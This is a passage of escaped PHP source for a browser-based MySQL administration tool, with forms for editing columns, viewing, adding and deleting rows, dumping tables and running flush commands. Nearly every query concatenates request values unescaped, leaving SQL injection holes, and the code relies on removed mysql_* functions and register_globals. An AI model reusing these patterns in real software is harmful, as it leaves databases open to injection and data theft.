value=\"DATE\" '; if( \$type == \"date\" ) echo \"checked\";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"DATETIME\" '; if( \$type == \"datetime\" ) echo \"checked\";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TIMESTAMP\" '; if( \$type == \"timestamp\" ) echo \"checked\";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TIME\" '; if( \$type == \"time\" ) echo \"checked\";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"YEAR\" '; if( \$type == \"year\" ) echo \"checked\";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"CHAR\" '; if( \$type == \"char\" ) echo \"checked\";echo '>CHAR</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"VARCHAR\" '; if( \$type == \"varchar\" ) echo \"checked\";echo '>VARCHAR</td>\n<td align=center>O</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td align=center>O</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYTEXT\" '; if( \$type == \"tinytext\" ) echo \"checked\";echo '>TINYTEXT (0 ~ 255)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TEXT\" '; if( \$type == \"text\" ) echo \"checked\";echo '>TEXT (0 ~ 65535)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMTEXT\" '; if( \$type == \"mediumtext\" ) echo \"checked\";echo '>MEDIUMTEXT (0 ~ 16777215)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"LONGTEXT\" '; if( \$type == \"longtext\" ) echo \"checked\";echo '>LONGTEXT (0 ~ 4294967295)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"TINYBLOB\" '; if( \$type == \"tinyblob\" ) echo \"checked\";echo '>TINYBLOB (0 ~ 255)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"BLOB\" '; if( \$type == \"blob\" ) echo \"checked\";echo '>BLOB (0 ~ 65535)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"MEDIUMBLOB\" '; if( \$type == \"mediumblob\" ) echo \"checked\";echo '>MEDIUMBLOB (0 ~ 16777215)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"LONGBLOB\" '; if( \$type == \"longblob\" ) echo \"checked\";echo '>LONGBLOB (0 ~ 4294967295)</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n<td>&nbsp</td>\n</tr> \n<tr>\n<td><input type=radio name=type value=\"ENUM\" '; if( \$type == \"enum\" ) echo \"checked\";echo '>ENUM</td>\n<td colspan=5><center>value list</center></td>\n</tr>\n<tr>\n<td><input type=radio name=type value=\"SET\" '; if( \$type == \"set\" ) echo \"checked\";echo '>SET</td>\n<td colspan=5><center>value list</center></td>\n</tr>\n\n</table>\n<table>\n<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \\'apple\\', \\'orange\\', \\'banana\\') </th></tr>\n<tr>\n<td align=center><input type=text size=4 name=M '; if( \$M != \"\" ) echo \"value=\$M\";echo '></td>\n<td align=center><input type=text size=4 name=D '; if( \$D != \"\" ) echo \"value=\$D\";echo '></td>\n<td align=center><input type=checkbox name=unsigned value=\"UNSIGNED\" '; if( strpos( \$fieldtype, \"unsigned\" ) ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=zerofill value=\"ZEROFILL\" '; if( strpos( \$fieldtype, \"zerofill\" ) ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=binary value=\"BINARY\" '; if( strpos( \$fieldtype, \"binary\" )  ) echo \"checked\";echo '></td>\n<td align=center><input type=text size=60 name=valuelist '; if( \$valuelist != \"\" ) echo \"value=\\\"\$valuelist\\\"\";echo '></td>\n</tr>\n</table>\n\n\n<h3>Flags</h3>\n<table>\n<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>\n<tr>\n<td align=center><input type=checkbox name=not_null value=\"NOT NULL\" '; if( \$fieldnull != \"YES\" ) echo \"checked\";echo '></td>\n<td align=center><input type=text name=default_value '; if( \$fielddefault != \"\" ) echo \"value=\$fielddefault\";echo '></td>\n<td align=center><input type=checkbox name=auto_increment value=\"AUTO_INCREMENT\" '; if( \$fieldextra == \"auto_increment\" ) echo \"checked\";echo '></td>\n<td align=center><input type=checkbox name=primary_key value=\"PRIMARY KEY\" '; if( \$fieldkey == \"PRI\" ) echo \"checked\";echo '></td>\n</tr>\n</table>\n\n<p>';\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=submit value='Add Field'>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=submit value='Edit Field'>\\n\";\n\techo \"<input type=button value=Cancel onClick='history.back()'>\\n\";\n\techo \"</form>\\n\";\n}\n\nfunction manageField_submit( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$old_name, \$name, \$type, \$PHP_SELF, \$queryStr, \$errMsg,\n\t\t\$M, \$D, \$unsigned, \$zerofill, \$binary, \$not_null, \$default_value, \$auto_increment, \$primary_key, \$valuelist;\n\n\tif( \$cmd == \"add\" )\n\t\t\$queryStr = \"ALTER TABLE \$tablename ADD \$name \";\n\telse if( \$cmd == \"edit\" )\n\t\t\$queryStr = \"ALTER TABLE \$tablename CHANGE \$old_name \$name \";\n\t\n\tif( \$M != \"\" )\n\t\tif( \$D != \"\" )\n\t\t\t\$queryStr .= \"\$type(\$M,\$D) \";\n\t\telse\n\t\t\t\$queryStr .= \"\$type(\$M) \";\n\telse if( \$valuelist != \"\" ) {\n\t\t\$valuelist = stripslashes( \$valuelist );\n\t\t\$queryStr .= \"\$type(\$valuelist) \";\n\t} else\n\t\t\$queryStr .= \"\$type \";\n\n\t\$queryStr .= \"\$unsigned \$zerofill \$binary \";\n\n\tif( \$default_value != \"\" )\n\t\t\$queryStr .= \"DEFAULT '\$default_value' \";\n\t\n\t\$queryStr .= \"\$not_null \$auto_increment\";\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\t// key change\n\t\$keyChange = false;\n\t\$result = mysql_query( \"SHOW KEYS FROM \$tablename\" );\n\t\$primary = \"\";\n\twhile( \$row = mysql_fetch_array(\$result) )\n\t\tif( \$row[\"Key_name\"] == \"PRIMARY\" ) {\n\t\t\tif( \$row[Column_name] == \$name )\n\t\t\t\t\$keyChange = true;\n\t\t\telse\n\t\t\t\t\$primary .= \", \$row[Column_name]\";\n\t\t}\n\tif( \$primary_key == \"PRIMARY KEY\" ) {\n\t\t\$primary .= \", \$name\";\n\t\t\$keyChange = !\$keyChange;\n\t}\n\t\$primary = substr( \$primary, 2 );\n\tif( \$keyChange == true ) {\n\t\t\$q = \"ALTER TABLE \$tablename DROP PRIMARY KEY\";\n\t\tmysql_query( \$q );\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\n\t\t\$q = \"ALTER TABLE \$tablename ADD PRIMARY KEY( \$primary )\";\n\t\tmysql_query( \$q );\n\t\t\$queryStr .= \"<br>\\n\" . \$q;\n\t\t\$errMsg .= \"<br>\\n\" . mysql_error();\n\t}\n\n\tviewSchema();\n}\n\nfunction dropField() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$queryStr = \"ALTER TABLE \$tablename DROP COLUMN \$fieldname\";\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tmysql_query( \$queryStr , \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewSchema();\n}\n\nfunction viewData( \$queryStr ) {\n\tglobal \$action, \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$errMsg, \$page, \$rowperpage, \$orderby;\n\n\techo \"<h1>Data in Table</h1>\\n\";\n\tif( \$tablename != \"\" )\n\t\techo \"<p class=location>\$dbname &gt; \$tablename</p>\\n\";\n\telse\n\t\techo \"<p class=location>\$dbname</p>\\n\";\n\n\t\$queryStr = stripslashes( \$queryStr );\n\tif( \$queryStr == \"\" ) {\n\t\t\$queryStr = \"SELECT * FROM \$tablename\";\n\t\tif( \$orderby != \"\" )\n\t\t\t\$queryStr .= \" ORDER BY \$orderby\";\n\t\techo \"<a href='\$PHP_SELF?action=addData&dbname=\$dbname&tablename=\$tablename'>Add Data</a> | \\n\";\n\t\techo \"<a href='\$PHP_SELF?action=viewSchema&dbname=\$dbname&tablename=\$tablename'>Schema</a>\\n\";\n\t}\n\n\t\$pResult = mysql_db_query( \$dbname, \$queryStr );\n\t\$fieldt = mysql_fetch_field(\$pResult);\n\t\$tablename = \$fieldt->table;\n\t\$errMsg = mysql_error();\n\n\t\$GLOBALS[queryStr] = \$queryStr;\n\n\tif( \$pResult == false ) {\n\t\techoQueryResult();\n\t\treturn;\n\t}\n\tif( \$pResult == 1 ) {\n\t\t\$errMsg = \"Success\";\n\t\techoQueryResult();\n\t\treturn;\n\t}\n\n\techo \"<hr>\\n\";\n\n\t\$row = mysql_num_rows( \$pResult );\n\t\$col = mysql_num_fields( \$pResult );\n\n\tif( \$row == 0 ) {\n\t\techo \"No Data Exist!\";\n\t\treturn;\n\t}\n\t\n\tif( \$rowperpage == \"\" ) \$rowperpage = 30;\n\tif( \$page == \"\" ) \$page = 0;\n\telse \$page--;\n\tmysql_data_seek( \$pResult, \$page * \$rowperpage );\n\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\n\techo \"<tr>\\n\";\n\tfor( \$i = 0; \$i < \$col; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\techo \"<th>\";\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&orderby=\".\$field->name.\"'>\".\$field->name.\"</a>\\n\";\n\t\telse\n\t\t\techo \"<font\tstyle='text-decoration:none;color:#000000;font-size:x-small;'>\".\$field->name.\"</font>\\n\";\n\t\techo \"</th>\\n\";\n\t}\n\techo \"<th colspan=2>Action</th>\\n\";\n\techo \"</tr>\\n\";\n\n\tfor( \$i = 0; \$i < \$rowperpage; \$i++ ) {\n\t\t\$rowArray = mysql_fetch_row( \$pResult );\n\t\tif( \$rowArray == false ) break;\n\t\techo \"<tr>\\n\";\n\t\t\$key = \"\";\n\t\tfor( \$j = 0; \$j < \$col; \$j++ ) {\n\t\t\t\$data = \$rowArray[\$j];\n\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$j );\n\t\t\tif( \$field->primary_key == 1 )\n\t\t\t\t\$key .= \"&\" . \$field->name . \"=\" . \$data;\n\n\t\t\tif( strlen( \$data ) > 30 )\n\t\t\t\t\$data = substr( \$data, 0, 30 ) . \"...\";\n\t\t\t\$data = htmlspecialchars( \$data );\n\t\t\techo \"<td>\\n\";\n\t\t\techo \"\$data\\n\";\n\t\t\techo \"</td>\\n\";\n\t\t}\n\t\t \n\t\tif( \$key == \"\" )\n\t\t\techo \"<td colspan=2>no Key</td>\\n\";\n\t\telse {\n\t\t\techo \"<td><a href='\$PHP_SELF?action=editData\$key&dbname=\$dbname&tablename=\$tablename'>Edit</a></td>\\n\";\n\t\t\techo \"<td><a href='\$PHP_SELF?action=deleteData\$key&dbname=\$dbname&tablename=\$tablename' onClick=\\\"return confirm('Delete Row?')\\\">Delete</a></td>\\n\";\n\t\t}\n\t\techo \"</tr>\\n\";\n\t}\n\techo \"</table>\\n\";\n\n\techo \"<font size=2>\\n\";\n\tif(\$action == \"viewData\")\n\t\techo \"<form action='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename' method=post>\\n\";\n\telse\n\t\techo \"<form action='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr' method=post>\\n\";\n\techo \"<font color=green>\\n\";\n\techo (\$page+1).\"/\".(int)(\$row/\$rowperpage+1).\" page\";\n\techo \"</font>\\n\";\n\techo \" | \";\n\tif( \$page > 0 ) {\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&page=\".(\$page);\n\t\telse\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page);\n\t\tif( \$orderby != \"\" && \$action == \"viewData\")\n\t\t\techo \"&orderby=\$orderby\";\n\t\techo \"'>Prev</a>\\n\";\n\t} else\n\t\techo \"Prev\";\n\techo \" | \";\n\tif( \$page < (\$row/\$rowperpage)-1 ) {\n\t\tif(\$action == \"viewData\")\n\t\t\techo \"<a href='\$PHP_SELF?action=viewData&dbname=\$dbname&tablename=\$tablename&page=\".(\$page+2);\n\t\telse\n\t\t\techo \"<a href='\$PHP_SELF?action=query&dbname=\$dbname&tablename=\$tablename&queryStr=\$queryStr&page=\".(\$page+2);\n\t\tif( \$orderby != \"\" && \$action == \"viewData\")\n\t\t\techo \"&orderby=\$orderby\";\n\t\techo \"'>Next</a>\\n\";\n\t} else\n\t\techo \"Next\";\n\techo \" | \";\n\tif( \$row > \$rowperpage ) {\n\t\techo \"<input type=text size=4 name=page>\\n\";\n\t\techo \"<input type=submit value='Go'>\\n\";\n\t}\n\techo \"</form>\\n\";\n\techo \"</font>\\n\";\n}\n\nfunction manageData( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF;\n\n\tif( \$cmd == \"add\" )\n\t\techo \"<h1>Add Data</h1>\\n\";\n\telse if( \$cmd == \"edit\" ) {\n\t\techo \"<h1>Edit Data</h1>\\n\";\n\t\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\t\$num = mysql_num_fields( \$pResult );\n\t\n\t\t\$key = \"\";\n\t\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\t\tif( \$field->primary_key == 1 )\n\t\t\t\tif( \$field->numeric == 1 )\n\t\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\n\t\t\t\telse\n\t\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\n\t\t}\n\t\t\$key = substr( \$key, 0, strlen(\$key)-4 );\n\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\t\$pResult = mysql_query( \$queryStr =  \"SELECT * FROM \$tablename WHERE \$key\", \$mysqlHandle );\n\t\t\$data = mysql_fetch_array( \$pResult );\n\t}\n\n\techo \"<p class=location>\$dbname &gt; \$tablename</p>\\n\";\n\n\techo \"<form action='\$PHP_SELF' method=post>\\n\";\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=hidden name=action value=addData_submit>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=hidden name=action value=editData_submit>\\n\";\n\techo \"<input type=hidden name=dbname value=\$dbname>\\n\";\n\techo \"<input type=hidden name=tablename value=\$tablename>\\n\";\n\techo \"<table cellspacing=1 cellpadding=2>\\n\";\n\techo \"<tr>\\n\";\n\techo \"<th>Name</th>\\n\";\n\techo \"<th>Type</th>\\n\";\n\techo \"<th>Function</th>\\n\";\n\techo \"<th>Data</th>\\n\";\n\techo \"</tr>\\n\";\n\n\t\$pResult = mysql_db_query( \$dbname, \"SHOW fields FROM \$tablename\" );\n\t\$num = mysql_num_rows( \$pResult );\n\n\t\$pResultLen = mysql_list_fields( \$dbname, \$tablename );\n\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_array( \$pResult );\n\t\t\$fieldname = \$field[\"Field\"];\n\t\t\$fieldtype = \$field[\"Type\"];\n\t\t\$len = mysql_field_len( \$pResultLen, \$i );\n\n\t\techo \"<tr>\";\n\t\techo \"<td>\$fieldname</td>\";\n\t\techo \"<td>\".\$field[\"Type\"].\"</td>\";\n\t\techo \"<td>\\n\";\n\t\techo \"<select name=\${fieldname}_function>\\n\";\n\t\techo \"<option>\\n\";\n\t\techo \"<option>ASCII\\n\";\n\t\techo \"<option>CHAR\\n\";\n\t\techo \"<option>SOUNDEX\\n\";\n\t\techo \"<option>CURDATE\\n\";\n\t\techo \"<option>CURTIME\\n\";\n\t\techo \"<option>FROM_DAYS\\n\";\n\t\techo \"<option>FROM_UNIXTIME\\n\";\n\t\techo \"<option>NOW\\n\";\n\t\techo \"<option>PASSWORD\\n\";\n\t\techo \"<option>PERIOD_ADD\\n\";\n\t\techo \"<option>PERIOD_DIFF\\n\";\n\t\techo \"<option>TO_DAYS\\n\";\n\t\techo \"<option>USER\\n\";\n\t\techo \"<option>WEEKDAY\\n\";\n\t\techo \"<option>RAND\\n\";\n\t\techo \"</select>\\n\";\n\t\techo \"</td>\\n\";\n\t\t\$value = htmlspecialchars(\$data[\$i]);\n\t\tif( \$cmd == \"add\" ) {\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\n\t\t\t\techo \"<td>\\n\";\n\t\t\t\tif( \$type == \"enum\" )\n\t\t\t\t\techo \"<select name=\$fieldname>\\n\";\n\t\t\t\telse if( \$type == \"set\" )\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\n\t\t\t\t\techo \"<option>\$str\\n\";\n\t\t\t\t\tstrtok( \"'\" );\n\t\t\t\t}\n\t\t\t\techo \"</select>\\n\";\n\t\t\t\techo \"</td>\\n\";\n\t\t\t} else {\n\t\t\t\tif( \$len < 40 )\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname></td>\\n\";\n\t\t\t\telse\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname></textarea>\\n\";\n\t\t\t}\n\t\t} else if( \$cmd == \"edit\" ) {\n\t\t\t\$type = strtok( \$fieldtype, \" (,)\\n\" );\n\t\t\tif( \$type == \"enum\" || \$type == \"set\" ) {\n\t\t\t\techo \"<td>\\n\";\n\t\t\t\tif( \$type == \"enum\" )\n\t\t\t\t\techo \"<select name=\$fieldname>\\n\";\n\t\t\t\telse if( \$type == \"set\" )\n\t\t\t\t\techo \"<select name=\$fieldname size=4 multiple>\\n\";\n\t\t\t\twhile( \$str = strtok( \"'\" ) ) {\n\t\t\t\t\tif( \$value == \$str )\n\t\t\t\t\t\techo \"<option selected>\$str\\n\";\n\t\t\t\t\telse\n\t\t\t\t\t\techo \"<option>\$str\\n\";\n\t\t\t\t\tstrtok( \"'\" );\n\t\t\t\t}\n\t\t\t\techo \"</select>\\n\";\n\t\t\t\techo \"</td>\\n\";\n\t\t\t} else {\n\t\t\t\tif( \$len < 40 )\n\t\t\t\t\techo \"<td><input type=text size=40 maxlength=\$len name=\$fieldname value=\\\"\$value\\\"></td>\\n\";\n\t\t\t\telse\n\t\t\t\t\techo \"<td><textarea cols=40 rows=3 maxlength=\$len name=\$fieldname>\$value</textarea>\\n\";\n\t\t\t}\n\t\t}\n\t\techo \"</tr>\";\n\t}\n\techo \"</table><p>\\n\";\n\tif( \$cmd == \"add\" )\n\t\techo \"<input type=submit value='Add Data'>\\n\";\n\telse if( \$cmd == \"edit\" )\n\t\techo \"<input type=submit value='Edit Data'>\\n\";\n\techo \"<input type=button value='Cancel' onClick='history.back()'>\\n\";\n\techo \"</form>\\n\";\n}\n\nfunction manageData_submit( \$cmd ) {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\$num = mysql_num_fields( \$pResult );\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\tif( \$cmd == \"add\" )\n\t\t\$queryStr = \"INSERT INTO \$tablename VALUES (\";\n\telse if( \$cmd == \"edit\" )\n\t\t\$queryStr = \"REPLACE INTO \$tablename VALUES (\";\n\tfor( \$i = 0; \$i < \$num-1; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult );\n\t\t\$func = \$GLOBALS[\$field->name.\"_function\"];\n\t\tif( \$func != \"\" )\n\t\t\t\$queryStr .= \" \$func(\";\n\t\tif( \$field->numeric == 1 ) {\n\t\t\t\$queryStr .= \$GLOBALS[\$field->name];\n\t\t\tif( \$func != \"\" )\n\t\t\t\t\$queryStr .= \"),\";\n\t\t\telse\n\t\t\t\t\$queryStr .= \",\";\n\t\t} else {\n\t\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name];\n\t\t\tif( \$func != \"\" )\n\t\t\t\t\$queryStr .= \"'),\";\n\t\t\telse\n\t\t\t\t\$queryStr .= \"',\";\n\t\t}\n\t}\n\t\$field = mysql_fetch_field( \$pResult );\n\tif( \$field->numeric == 1 )\n\t\t\$queryStr .= \$GLOBALS[\$field->name] . \")\";\n\telse \n\t\t\$queryStr .= \"'\" . \$GLOBALS[\$field->name] . \"')\";\n\n\tmysql_query( \$queryStr , \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewData( \"\" );\n}\n\nfunction deleteData() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$fieldname, \$PHP_SELF, \$queryStr, \$errMsg;\n\n\t\$pResult = mysql_list_fields( \$dbname, \$tablename );\n\t\$num = mysql_num_fields( \$pResult );\n\n\t\$key = \"\";\n\tfor( \$i = 0; \$i < \$num; \$i++ ) {\n\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\tif( \$field->primary_key == 1 )\n\t\t\tif( \$field->numeric == 1 )\n\t\t\t\t\$key .= \$field->name . \"=\" . \$GLOBALS[\$field->name] . \" AND \";\n\t\t\telse\n\t\t\t\t\$key .= \$field->name . \"='\" . \$GLOBALS[\$field->name] . \"' AND \";\n\t}\n\t\$key = substr( \$key, 0, strlen(\$key)-4 );\n\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\$queryStr =  \"DELETE FROM \$tablename WHERE \$key\";\n\tmysql_query( \$queryStr, \$mysqlHandle );\n\t\$errMsg = mysql_error();\n\n\tviewData( \"\" );\n}\n\nfunction fetch_table_dump_sql(\$table)\n{\n\tglobal \$mysqlHandle,\$dbname;\n\t\n\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\$query_id = mysql_query(\"SHOW CREATE TABLE \$table\",\$mysqlHandle);\n\t\$tabledump = mysql_fetch_array(\$query_id, MYSQL_ASSOC);\n\t\$tabledump = \"DROP TABLE IF EXISTS \$table;\\n\" . \$tabledump['Create Table'] . \";\\n\\n\";\n\n\techo \$tabledump;\n\n\t// get data\n\t\$rows = mysql_query(\"SELECT * FROM \$table\",\$mysqlHandle);\n\t\$numfields=mysql_num_fields(\$rows);\n\twhile (\$row = mysql_fetch_array(\$rows, MYSQL_NUM))\n\t{\n\t\t\$tabledump = \"INSERT INTO \$table VALUES(\";\n\n\t\t\$fieldcounter = -1;\n\t\t\$firstfield = 1;\n\t\t// get each field's data\n\t\twhile (++\$fieldcounter < \$numfields)\n\t\t{\n\t\t\tif (!\$firstfield)\n\t\t\t{\n\t\t\t\t\$tabledump .= ', ';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\$firstfield = 0;\n\t\t\t}\n\n\t\t\tif (!isset(\$row[\"\$fieldcounter\"]))\n\t\t\t{\n\t\t\t\t\$tabledump .= 'NULL';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\$tabledump .= \"'\" . mysql_escape_string(\$row[\"\$fieldcounter\"]) . \"'\";\n\t\t\t}\n\t\t}\n\n\t\t\$tabledump .= \");\\n\";\n\n\t\techo \$tabledump;\n\n\t}\n\t@mysql_free_result(\$rows);\n}\n\nfunction dump() {\n\tglobal \$mysqlHandle, \$action, \$dbname, \$tablename;\n\n\tif( \$action == \"dumpTable\" ){\n\n\t\theader(\"Content-disposition: filename=\$tablename.sql\");\n\t\theader('Content-type: unknown/unknown');\n\t\tfetch_table_dump_sql(\$tablename);\n\t\techo \"\\n\\n\\n\";\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$tablename TABLE DUMP COMPLETED ###\";\n\t\texit;\t\t\n\t\t\t\t\n\t}else{\n\t\theader(\"Content-disposition: filename=\$dbname.sql\");\n\t\theader('Content-type: unknown/unknown');\n\t\t\n\t\tmysql_select_db( \$dbname, \$mysqlHandle );\n\t\t\$query_id = mysql_query(\"SHOW tables\",\$mysqlHandle);\n\t\twhile (\$row = mysql_fetch_array(\$query_id, MYSQL_NUM))\n\t\t{\n\t\t\t\tfetch_table_dump_sql(\$row[0]);\n\t\t\t\techo \"\\n\\n\\n\";\n\t\t\t\techo \"\\r\\n\\r\\n\\r\\n### \$row[0] TABLE DUMP COMPLETED ###\";\n\t\t\t\techo \"\\n\\n\\n\";\n\t\t}\n\t\techo \"\\r\\n\\r\\n\\r\\n### \$dbname DATABASE DUMP COMPLETED ###\";\n\t\texit;\t\t\n\n\t}\n\n}\n\nfunction utils() {\n\tglobal \$PHP_SELF, \$command;\n\techo \"<h1>Utilities</h1>\\n\";\n\tif( \$command == \"\" || substr( \$command, 0, 5 ) == \"flush\" ) {\n\t\techo \"<hr>\\n\";\n\t\techo \"Show\\n\";\n\t\techo \"<ul>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_status'>Status</a>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_variables'>Variables</a>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\\n\";\n\t\techo \"</ul>\\n\";\n\t\techo \"Flush\\n\";\n\t\techo \"<ul>\\n\";\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\\n\";\n\t\tif( \$command == \"flush_hosts\" ) {\n\t\t\tif( mysql_query( \"Flush hosts\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\\n\";\n\t\tif( \$command == \"flush_logs\" ) {\n\t\t\tif( mysql_query( \"Flush logs\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\\n\";\n\t\tif( \$command == \"flush_privileges\" ) {\n\t\t\tif( mysql_query( \"Flush privileges\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\\n\";\n\t\tif( \$command == \"flush_tables\" ) {\n\t\t\tif( mysql_query( \"Flush tables\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- Fail</font>\";\n\t\t}\n\t\techo \"<li><a href='\$PHP_SELF?action=utils&command=flush_status'>Status</a>\\n\";\n\t\tif( \$command == \"flush_status\" ) {\n\t\t\tif( mysql_query( \"Flush status\" ) != false )\n\t\t\t\techo \"<font size=2 color=red>- Success</font>\";\n\t\t\telse\n\t\t\t\techo \"<font size=2 color=red>- 